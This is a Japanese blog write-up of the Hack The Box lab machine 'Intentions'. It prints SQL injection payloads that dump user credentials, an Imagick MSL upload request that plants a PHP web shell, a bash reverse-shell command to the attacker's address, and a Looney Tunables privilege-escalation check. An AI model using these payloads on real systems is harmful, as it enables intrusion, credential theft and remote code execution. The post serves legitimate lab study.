家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">>

【Hack The Box】intentions

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

-p-でスキャンし、確認できたポートに詳細なスキャンを行います。

┌──(kali㉿kali)-[~/htb/intentions]
└─$ sudo nmap -sC -sV -A -O -p22,80 10.10.11.220              
Nmap scan report for 10.10.11.220
 Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_  256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
 |_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linu
x 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   213.43 ms 10.10.14.1
2   213.90 ms 10.10.11.220

TCP/80の調査

ブラウザでアクセスすると以下のようなページが表示されます。

ブラウザでアクセスした様子

「REGISTER」より新規のアカウントが作成でき、作成したアカウントでログインできます。

 

アカウント新規登録

 

ログイン後の画面

ログイン後の画面で、「Your Profile」の内容で「Your Feed」に表示される内容が変化することが確認できます。

「' or 1=1--」と入力して「Your Feed」にアクセスすると、画面上は何も表示されませんが、Burpで見るとServer Error(500)が確認できます。

SQLiの脆弱性確認

500エラーについて

qiita.com

 

「Favorite Genres」ではスペースを含むインジェクションのクエリは成功しない為、スペースをコメントに置き換えて実行します。

以下のクエリを入力して実行するとSQLiが成功します。

')/**/or/**/1=1#

SQLiのペイロード入力
 

SQLi成功確認

Burpでみるとレスポンスとして6つのカラムがあることがわかります。

応答のカラム数=6


UNIONを使用してデータベースの内容を調査します。
上記カラムの内、「URL」は「file」から生成できるため5個のカラムで実行します。

')/**/UNION/**/SELECT/**/1,2,3,4,5#

 

レスポンス結果

2番目および3番目のカラムがStringの為、2番目に「user()」、3番目に「database()」を指定して実行します。

  • user(): データベース接続に使用されているユーザー名を取得
  • database(): 現在のデータベース名を取得

 

')/**/UNION/**/SELECT/**/1,user(),database(),4,5#

ユーザ名&データベース名

 

上記よりデータベースに接続しているユーザ(laravel@localhost)および、データベース名(intentions)が取得できます。

')/**/UNION/**/SELECT/**/1,table_schema,table_name,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/!=/**/'information_schema'#

 

次にデータベースとテーブル情報を取得します。

')/**/UNION/**/SELECT/**/1,table_schema,table_name,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/!=/**/'information_schema'#

実行結果

データベース「intentions」内の4つのテーブルの内、usersについて調査を進めます。

')/**/UNION/**/SELECT/**/1,2,column_name,4,5/**/from/**/information_schema.columns/**/where/**/table_name='users'#

userテーブルの情報

上記情報をもとに以下のクエリを入力することで、ユーザー情報が取得できます。

')/**/UNION/**/SELECT/**/1,2,concat(name,':',email,':',admin,':',password,':',genres),4,5/**/from/**/users#

ユーザ情報取得

上記で取得できたアカウントはGUIのログイン画面では使用できません。

ログイン時には/api/v1/auth/loginに認証情報をPOSTしています。

login時の通信状況

/js/admin.jsのコメントでは、認証時にアカウント情報が平文で送られないことが触れられています。

コメントの内容

Javascriptの列挙

 

v2のコメント内容に沿ってリクエストを編集し、上記のアカウントでPOSTするとログインできます。

v2へのリクエスト

steveでのアクセス

さらに/adminにアクセスすると管理者画面にアクセスできます。

/admin

 

 

アクセス取得

「image」では画像ファイルの編集ができます。

画像編集にはImagickが使用されていることがJavascriptのコメントより確認できます。

ImageMagic使用の確認

Imagickについて調べると以下のサイトが見つかります。

Imagickの脆弱性情報調査

 

また、Boxでは「Effects」をクリックすると/api/v2/admin/image/modifyにPOSTが送信されます。

POSTをBurpで以下のように編集します。

POST /api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=XXX HTTP/1.1
Host: 10.10.11.220
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=ABC
X-XSRF-TOKEN: eyJpdiI6Ijk0a1daSGVncVVwVFdER1hFdFV1Nnc9PSIsInZhbHVlIjoiRXZFUCsybzhWb3pyRG5oRXNQb1NEeDVSQkdGRW5EZmxKWjM4S3BGZ0pXaVBwNXFaUkFKVlZ0aFdiaVNIYXduZ2wydC9GZFdZdEp6d2g2dCtZd2RHcDVTMnRDUkxMcnBCd0E2L0xKWU9uY0doOFgvWXVoZ2pOMEtmUmhVQk8yVXEiLCJtYWMiOiI3ZTIzN2UyYzE1ZTQzMTZlYjNlMjRiMWFhNDg2OTQ4MDcyMzMwMTk4ZjdlN2E0NmRkYWRiMGJkYTE0NGFmZGQ4IiwidGFnIjoiIn0=
Content-Length: 401
Origin: http://10.10.11.220
Connection: close
Referer: http://10.10.11.220/admin
Cookie: XSRF-TOKEN=eyJpdiI6Ijk0a1daSGVncVVwVFdER1hFdFV1Nnc9PSIsInZhbHVlIjoiRXZFUCsybzhWb3pyRG5oRXNQb1NEeDVSQkdGRW5EZmxKWjM4S3BGZ0pXaVBwNXFaUkFKVlZ0aFdiaVNIYXduZ2wydC9GZFdZdEp6d2g2dCtZd2RHcDVTMnRDUkxMcnBCd0E2L0xKWU9uY0doOFgvWXVoZ2pOMEtmUmhVQk8yVXEiLCJtYWMiOiI3ZTIzN2UyYzE1ZTQzMTZlYjNlMjRiMWFhNDg2OTQ4MDcyMzMwMTk4ZjdlN2E0NmRkYWRiMGJkYTE0NGFmZGQ4IiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6InBucExiZk1WUjQvVjV0WUVlQncyc3c9PSIsInZhbHVlIjoiT29za1JoWnBZRzZLaDJRdjlrTVEvT3hsRGdYZmdBbmtjS0MyM043TGllR0dlUDVrclBGSzN3Vkc5MEpQWFM4MUxTajVrV3RaZUJ6K0k4VWZZRjFUS2drc2ZhNzhIdlY2bEV3eERIWXZRbC9DdlZwc2xiNmg3UGpDZHovMzlGRWEiLCJtYWMiOiJkMjM2NzQ3ZDhiZWUwMDU1OGJmZWFkNGNkOGRmNGI0YjQ2NjI3NzEwMGVmMjliMjg1NTMxOTM4Yzc4OGRiNmIwIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNzM0MjY3ODc2LCJleHAiOjE3MzQyODk0NzYsIm5iZiI6MTczNDI2Nzg3NiwianRpIjoidVlKR0FiQWhJb05GaEtUWCIsInN1YiI6IjEiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.fBzPR4bZc0c20dE1Thadq6WOT83OryGEYy_pHzguBF4
Priority: u=0

--ABC
Content-Disposition: form-data; name="shell";filename="shell.msl"
Content-Type:text/plain

<!--?xml version="1.0" encoding="UTF-8"?-->

<read filename="caption:<?php system($_GET['cmd']); ?>">
<write filename="info:/var/www/html/intentions/storage/app/public/test.php">
</write>
--ABC--

上記のリクエストは502のエラーとなれば成功です。リクエストに誤りがある場合は422のエラーとなります。

リクエストの送信後、ファイルにアクセスします。

curl http://10.10.11.220/storage/test.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.3/4444 0>%261"' 

 

「www-data」でシェルが取得できます。

www-dataシェル取得

www-dataではuser.txtを取得できないので横展開を行います。

/var/www/html/intentionsに「.git」があることが確認できます。上記をローカルに移動します。

.git発見

tar形式にしてnc経由で移動します。

.git移動

ローカル移動後にtarを展開し、Commitの変更履歴を確認します。

履歴より、ハードコードされた認証情報が確認できます。

git diff d7ef022 36b4287 

変更履歴の確認

上記で確認できた「greg」でSSHアクセスしユーザフラグが取得できます。

 

 

権限昇格

このBoxには「Looney Tunables」の脆弱性があります。

脆弱性があるかは以下のコマンドで確認できます。

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

 

上記の脆弱性に対しては以下のPoCが公開されております。

https://haxx.in/files/gnu-acme.py

 

上記のPoCをBoxに移動し実行するとrootが取得できます。

root取得

今回、初めて「Hard」のBoxをやりましたが、いくつかのWriteUPを拝見しましたが、内容を理解できていない部分も多く残りました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

0xdf.gitlab.io

marlonrampinelli.github.io

その他

zenn.dev

 

 

 

 

 

https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">>